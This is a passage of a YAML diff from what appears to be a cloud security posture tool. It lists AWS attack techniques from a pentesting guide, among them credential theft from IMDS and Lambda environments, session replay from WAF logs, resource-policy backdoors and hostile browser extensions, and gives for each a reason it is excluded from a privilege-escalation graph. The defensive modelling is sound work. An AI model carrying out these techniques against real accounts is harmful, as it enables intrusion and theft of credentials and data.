the OpenTDF client secret: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrlistusers--recover-an-invited-users-enrollment-code + technique: aws-s05-wickrlistusers-recover-an-invited-users-enrollment-code + reason: '`wickr:ListUsers` — recover an invited user''s enrollment code: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#workmailmessageflowgetrawmessagecontent--putrawmessagecontent--steal-or-rewrite-in-transit-email + technique: aws-s05-workmailmessageflowgetrawmessagecontent-putrawmessagecontent-steal-or + reason: '`workmailmessageflow:GetRawMessageContent` / `PutRawMessageContent` — steal or rewrite in-transit email: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesmodifysamlproperties--modifycertificatebasedauthproperties--weaken-desktop-authentication + technique: aws-s05-workspacesmodifysamlproperties-modifycertificatebasedauthproperties-we + reason: '`workspaces:ModifySamlProperties` / `ModifyCertificateBasedAuthProperties` — weaken desktop authentication: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesupdateworkspaceimagepermission--share-a-custom-image-with-an-attacker-account + technique: aws-s05-workspacesupdateworkspaceimagepermission-share-a-custom-image-with-an + reason: '`workspaces:UpdateWorkspaceImagePermission` — share a custom image with an attacker account: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#schedulergetschedule--target-input-disclosure + technique: aws-scheduler-getschedule-static-credential + reason: 'Recover a distinct identity credential from Scheduler Target.Input: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-systems-manager-for-sap-enum.md#applications-components-and-databases + technique: aws-ssm-sap-hana-admin-secret + reason: 'Read a registered SAP HANA ADMIN secret: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-transfer-family-enum.md#main-resource-relationships + technique: aws-transfer-connector-remote-credential + reason: 'Read a Transfer connector remote SFTP credential: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#identity-source-and-cross-account-boundaries + technique: aws-verifiedpermissions-identity-source-impersonation + reason: 'Changing a Verified Permissions identity source may let attacker-issued tokens map to + application Cedar identities. The token still cannot call AWS APIs without a separately + authorized SigV4 caller, and the policy store does not grant IAM role permissions.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay + technique: aws-waf-sampled-request-session-replay + reason: 'Candidate only if a readable WAF sample contains a complete usable AWS credential + for an identified other IAM principal. A cookie, bearer token or X-Amz-Security-Token + alone proves only an application session or incomplete AWS credential. Require actual + unredacted secret material, validity and principal attribution before an IAM edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamcreatescheduledquery--iampassrole--run-sql-and-downstream-writes-as-a-scheduled-query-role + source_revision: 0d0ea06005 + technique: aws-audit-create-scheduled-query-to-exfiltrate-role-readable-secrets + reason: 'Create scheduled query to exfiltrate role-readable secrets: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#enabling-the-feature-yourself-management-account + technique: aws-audit-enable-centralized-root-sessions-then-call-assumeroot + reason: 'Enable centralized root sessions then call AssumeRoot: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#aws-identity-center--aws-sso + technique: aws-audit-enable-permission-sets-then-create-admin-assignment + reason: 'Enable permission sets then create admin assignment: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#register-an-s3-location-under-a-privileged-role + technique: aws-audit-lf-register-an-s3-location-under-a-privileged-384933ea + reason: 'Register S3 location under passed privileged role: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + technique: aws-audit-site-grant-yourself-access-to-a-legacy-sitewi-ec31fb70 + reason: Only the exact self-admin grant on one existing portal with reviewed before/after access is active as aws-sitewise-createaccesspolicy-portal-self-grant. Grants to a different controlled identity and broader Monitor variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + source_revision: 3ad99dc7ac + technique: aws-audit-start-stored-state-manager-association + reason: 'Start stored State Manager association: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#syntheticsstartcanary--run-unchanged-canary-code-under-its-stored-role + technique: aws-audit-trigger-privileged-existing-canary + reason: 'Trigger privileged existing canary: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfig-data--read-the-deployed-configuration + technique: aws-audit2-appconfig-2 + reason: 'AppConfig Data — read the deployed configuration: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#enable-previously-granted-legacy-billing-permissions + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#enable-previously-granted-legacy-billing-permissions + technique: aws-billing-enable-dormant-iam-console-access + reason: 'Enable dormant Billing console grants: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-chime-sdk-enum.md#media-pipelines + technique: aws-chime-rtmp-publisher-key-read + reason: 'Read live connector RTMP publishing key: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeconnections-post-exploitation/README.md#complete-or-replace-a-connection-installation + technique: aws-codeconnections-installation-consumer + reason: 'Replace connection installation feeding a privileged deployment: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md#enable--disable-controls + technique: aws-controltower-preventive-scp-disable + reason: 'Disable a preventive Control Tower control that enforces an SCP deny: the modeled target is terminal + aws_verified_authority/bounded_authority, and its notes deny new principal permissions. This is not a path to + an exact principal or an explicit new effective permission of Alice. If the operation truly grants an identity + a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + technique: aws-dynamodb-deleteresourcepolicy-guardrail + reason: 'Delete DynamoDB resource policy to lift a Deny: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-payment-cryptography-enum.md#resource-and-authorization-model + technique: aws-payment-cryptography-crossaccount-key-policy + reason: 'PutResourcePolicy on an owner-account primary key can grant selected payment-key + operations to a named principal. An external principal also needs its own identity-policy + Allow, and the source caller in the key-owning account is not thereby given that external + principal''s credentials or authority. A self-grant on the same IAM principal changes its + own key access, not a path to another principal. The retired entry identifies no second + principal controlled by the source; keep cross-account key sharing outside this graph.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptographyputresourcepolicy + technique: aws-payment-cryptography-sameaccount-key-policy + reason: 'Grant the source new operations on a primary payment key: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-partner-central-selling-persistence/README.md#add-an-external-engagement-member-for-permanent-snapshot-access + technique: aws-peaso-add-an-external-engagement-member-for-permanent-snapshot-access + reason: 'Invite controlled Partner into Engagement: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-prometheus-persistence/README.md#backdoor-a-workspace-with-its-resource-policy + technique: aws-peaso-backdoor-a-workspace-with-its-resource-policy + reason: 'Grant controlled principal AMP workspace data access: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-msk-policy-persistence/README.md#cross-account-cluster-access-with-kafkaputclusterpolicy + technique: aws-peaso-cross-account-cluster-access-with-kafkaputclusterpolicy + reason: 'Grant controlled account MSK data access: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-q-business-persistence/README.md#cross-account-data-accessor-persistence + technique: aws-peaso-cross-account-data-accessor-persistence + reason: 'Create Q Business cross-account data accessor: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediaconnect-persistence/README.md#grant-a-cross-account-flow-entitlement + technique: aws-peaso-grant-a-cross-account-flow-entitlement + reason: 'Grant controlled account MediaConnect flow entitlement: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#grant-external-ingest--mediapackagev2putchannelpolicy + technique: aws-peaso-grant-external-ingest-mediapackagev2putchannelpolicy + reason: 'Grant anonymous MediaPackage channel ingest: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-payment-cryptography-persistence/README.md#persist-cross-account-key-access-with-a-resource-policy + technique: aws-peaso-persist-cross-account-key-access-with-a-resource-policy + reason: 'Grant controlled role Payment Cryptography key use: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#publish-a-private-origin-endpoint--mediapackagev2putoriginendpointpolicy + technique: aws-peaso-publish-a-private-origin-endpoint-mediapackagev2putoriginendpointpolicy + reason: 'Grant anonymous MediaPackage origin read: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-network-manager-persistence/README.md#share-a-core-network-with-an-external-account-through-aws-ram + technique: aws-peaso-share-a-core-network-with-an-external-account-through-aws-ram + reason: 'Share Cloud WAN core network with controlled account: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-q-business-enum.md#data-accessors-and-resource-policies + technique: aws-qbusiness-crossaccount-data-accessor + reason: 'A Q Business data accessor grants a registered ISV IAM role bounded + SearchRelevantContent access to one customer application and its permitted index data. + AWS requires an accessor, application policy/assignment and identity or tenant context; + the customer-side caller does not receive or control the ISV role by creating the accessor. + The registered role is another principal, but no source-to-role control or credential + transfer exists in this technique. Keep the cross-account data-sharing risk outside the + principal escalation graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddpermission + source_revision: 3ad99dc7ac + technique: aws-s05-06-lambda-addpermission + reason: '`lambda:AddPermission`: the modeled target is terminal aws_verified_authority/bounded_authority, and + its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#expose-a-pre-existing-authtypenone-function-url + source_revision: 3ad99dc7ac + technique: aws-s05-07-expose-a-pre-existing-authtype-none-function-url + reason: 'Expose a pre-existing `AuthType=NONE` Function URL: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddlayerversionpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddlayerversionpermission + source_revision: 3ad99dc7ac + technique: aws-s05-08-lambda-addlayerversionpermission + reason: '`lambda:AddLayerVersionPermission`: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplategroupaccesscontrolentry--grant-enrollment-to-an-attacker-chosen-ad-group + technique: aws-s05-83-pca-connector-ad-createtemplategroupaccesscontrolentry + reason: '`pca-connector-ad:CreateTemplateGroupAccessControlEntry` — grant enrollment to an attacker-chosen AD + group: the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal + permissions. This is not a path to an exact principal or an explicit new effective permission of Alice. If the + operation truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#connector-remote-directory-move-and-delete-capability-pivot + technique: aws-s05-connector-remote-directory-move-and-delete-capability-pivot + reason: 'Connector remote-directory, move, and delete capability pivot: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#delete-or-corrupt-the-authorization-store + technique: aws-s05-delete-or-corrupt-the-authorization-store + reason: 'Delete or corrupt the authorization store: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2applysecuritygroupstoclientvpntargetnetwork--rebind-client-vpn-to-a-trusted-security-group + technique: aws-s05-ec2applysecuritygroupstoclientvpntargetnetwork-rebind-client-vpn-to-a + reason: '`ec2:ApplySecurityGroupsToClientVpnTargetNetwork` — rebind Client VPN to a trusted security group: the + modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. + This is not a path to an exact principal or an explicit new effective permission of Alice. If the operation + truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2associateclientvpntargetnetwork--ec2createclientvpnroute--attach-client-vpn-to-a-vpc-and-extend-reachable-networks + technique: aws-s05-ec2associateclientvpntargetnetwork-ec2createclientvpnroute-attach-clie + reason: '`ec2:AssociateClientVpnTargetNetwork` + `ec2:CreateClientVpnRoute` — attach Client VPN to a VPC and extend + reachable networks: the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny + new principal permissions. This is not a path to an exact principal or an explicit new effective permission + of Alice. If the operation truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2authorizeclientvpningress--broaden-an-authenticated-vpn-clients-network-access + technique: aws-s05-ec2authorizeclientvpningress-broaden-an-authenticated-vpn-clients-netw + reason: '`ec2:AuthorizeClientVpnIngress` — broaden an authenticated VPN client''s network access: the modeled + target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. This + is not a path to an exact principal or an explicit new effective permission of Alice. If the operation truly + grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateservicenetworkvpcassociation--obtain-network-reachability-into-a-service-network + technique: aws-s05-vpc-latticecreateservicenetworkvpcassociation-obtain-network-reachabil + reason: '`vpc-lattice:CreateServiceNetworkVpcAssociation` — obtain network reachability into a service network: + the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. + This is not a path to an exact principal or an explicit new effective permission of Alice. If the operation + truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2tagresource-wafv2untagresource + technique: aws-s05-wafv2tagresource-wafv2untagresource + reason: '**`wafv2:TagResource`, `wafv2:UntagResource`**: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#enumerate-stores-and-aliases + technique: aws-verifiedpermissions-alias-rebind + reason: 'Rebinding a policy-store alias may change decisions consumed by an application. + The alias is a Verified Permissions resource, not an IAM role, and the changed Cedar + decision does not give the source AWS principal another principal''s AWS permissions.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#exact-iam-boundaries + technique: aws-verifiedpermissions-policy-app-admin + reason: 'A Cedar policy can grant an application identity admin actions inside that + application. The policy store does not alter IAM identity policies or create AWS + credentials, and its decision API does not execute the application action.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#as2-partner-certificate-substitution--impersonate-a-trading-partner + technique: aws-v3-01-substitute-an-as2-partner-signing-certificate + reason: 'Substitute an AS2 partner signing certificate: actions transfer:ImportCertificate, transfer:UpdateProfile + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account + technique: aws-v3-02-register-an-acme-account-with-a-binding-to-issue-certif + reason: 'Candidate bounded role-backed certificate issuance, also tracked as aws-pa-persist-s01-01. + EAB credentials can register an ACME account, after which ACM authorizes issuance through the EAB role. + An exact route needs the active endpoint, accepted EAB, associated role, domain validation, and effective + acm:RequestCertificate permission. It does not grant the caller general AWS role credentials.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appintegrations-persistence/README.md#appintegrations + technique: aws-v3-03-replace-a-trusted-connect-workspace-application-with-at + reason: 'UpdateApplication can replace the origin and permissions of a Connect agent workspace application. + This gives a browser and contact-data foothold for eligible agents, but the page identifies no AWS IAM + principal or credential handed to the source. An agent browsing the application does not itself form an + exact AWS principal-to-principal route.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-a-hostile-extension-in-every-secure-browser-session + technique: aws-v3-04-force-install-a-hostile-extension-in-workspaces-web-ses + reason: 'UpdateBrowserSettings can force an extension into later WorkSpaces Secure Browser sessions. + It can affect pages those users visit, but no exact AWS principal, IAM credential, or role transfer is + identified by the policy setting alone. A separately observed credential would need its own route.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-an-attacker-controlled-portal-identity-provider + technique: aws-v3-05-add-or-replace-a-workspaces-web-portal-saml-oidc-identi + reason: 'CreateIdentityProvider or UpdateIdentityProvider can let an attacker-operated IdP authenticate a + user to a standard WorkSpaces Secure Browser portal. This is portal access, not an AWS IAM role session; + neither the provider configuration nor browser login names an exact AWS principal gained by the source.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-user-pool-unauthenticated-access/README.md#multi-region-replicas-split-password-lockout-counters + technique: aws-v3-06-use-independent-cognito-replica-lockout-counters-to-gue + reason: 'Use independent Cognito replica lockout counters to guess a user password: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#1-runtime-ssrf---mmds-credentials + technique: aws-v3-07-agentcore-runtime-ssrf-to-its-execution-role-credential + reason: 'AgentCore Runtime uses an execution role whose temporary credentials are + available inside its microVM, but AWS now requires MMDSv2 for new Runtime invocations. + A GET-only SSRF cannot reach token-protected credentials; AWS notes already-running + legacy sessions are unaffected by the invocation gate. A current route needs an exact + accessible runtime/session, a demonstrated SSRF that reaches tokenless MMDS in such a + live legacy session or obtains and uses an MMDSv2 token, the credential response, and + the runtime-to-role join. The CSPM collects none of those exploit/session facts, so + InvokeAgentRuntime or role trust alone cannot prove this edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-the-container-instance-role-from-an-ecs-on-ec2-task + technique: aws-v3-08-read-ec2-instance-profile-credentials-from-imds-inside + reason: 'Read EC2 instance-profile credentials from IMDS inside an ECS task: no source permission/action is declared. + The required foothold or credential possession cannot be inferred from an AWS IAM principal, and the challenge + evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-co-located-task-credentials-after-compromising-the-container-instance + technique: aws-v3-09-use-host-or-container-runtime-control-to-steal-credenti + reason: 'Use host or container-runtime control to steal credentials of neighboring ECS tasks: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#exfiltrate-lambda-credentials + technique: aws-v3-10-read-lambda-execution-role-credentials-from-runtime-env + reason: 'AWS places temporary execution-role credentials in Lambda runtime environment + variables, but a caller needs a demonstrated way to read the process environment or + make the function reveal those variables. InvokeFunction alone does not provide that + read. An exact edge also needs the function-to-execution-role join and a credential + response proving usable role access. The CSPM cannot infer a vulnerable handler or + local process foothold from IAM permissions, so this generic post-exploitation route + remains excluded; separately modeled code-control routes may reach the role.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-migration-hub-strategy-recommendations-post-exploitation/README.md#harvest-credentials-from-a-compromised-collector-host + technique: aws-v3-11-harvest-the-strategy-recommendations-collector-aws-keys + reason: 'A configured Strategy Recommendations collector host may store AWS access keys + in its local Docker configuration, but this route starts with local root, Docker control + or equivalent filesystem access, not with a defined Migration Hub IAM action. An AWS + principal edge needs proof that the source controls that exact host, the actual complete + usable key tuple, its verified IAM subject and added authority. CSPM IAM inventory + cannot infer local host compromise or secret contents, so keep this post-exploitation + route excluded.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-privileged-event-consumer-injection.md#preconditions-and-discovery-without-list-permissions + technique: aws-v3-12-drive-a-privileged-lambda-consumer-through-a-writable-e + reason: 'A producer can write to an SNS, SQS, Kinesis, DynamoDB, Logs or metric source + that an existing Lambda consumes, without direct InvokeFunction or PassRole. Invocation + alone is not a role edge: the exact enabled source-to-function join, function role, input + filter and handler behavior must show that a caller-controlled field drives a specific + privileged AWS operation and useful result. The CSPM does not inspect or verify handler + input-to-action semantics, so a producer grant alone cannot prove this route.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#cross-service-pivot-publish-into-an-existing-iot-rule-and-lambda + technique: aws-v3-13-publish-to-an-iot-rule-whose-lambda-action-misuses-atta + reason: 'iot:Publish can reach a Lambda only through an enabled rule whose SQL matches + the exact writable topic, whose Lambda action names the function, and whose function + policy allows the rule to invoke it. To establish a role edge, the handler must also + use attacker-controlled message fields to perform a specific privileged action under + its recorded role. The CSPM lacks that rule-to-function and handler-semantic proof, so + a matching topic permission or role ARN alone is insufficient.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#abuse-an-existing-code-hook-through-runtime-access + technique: aws-v3-14-trigger-privileged-business-actions-through-a-lex-fulfi + reason: 'Lex runtime calls can supply slots to a configured fulfillment Lambda only when + the exact alias and intent have that hook enabled and the dialog reaches fulfillment. + This gives no raw Lambda role access; a principal edge would require observed handler + logic that maps caller-controlled slots to a specific privileged AWS action, the hook + function role and a useful result. The CSPM does not collect bot dialog or handler + semantics, so RecognizeText permission alone cannot prove such an edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay + technique: aws-v3-15-replay-a-victim-application-session-recovered-from-waf + reason: 'Candidate duplicate of aws-waf-sampled-request-session-replay across log and + sampled-request reads. Replaying a cookie or bearer token reaches an application session, + not automatically an AWS principal. An IAM edge requires an actually recorded complete + valid AWS credential and attribution to a distinct IAM user or role.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-device-farm-post-exploitation/README.md#take-over-a-running-remote-access-device + technique: aws-v3-16-redeem-a-device-farm-session-endpoint-and-control-a-log + reason: 'GetRemoteAccessSession can return interactive and Appium endpoints for one + running physical test-device session. Those endpoints may let the caller control a + logged-in app or test account on the device, but the device session is not another AWS + IAM principal and no role credential is returned. Any AWS credential later found inside + the app would require separate content and subject evidence. Keep device takeover as an + application-session issue outside this graph.' +- source: 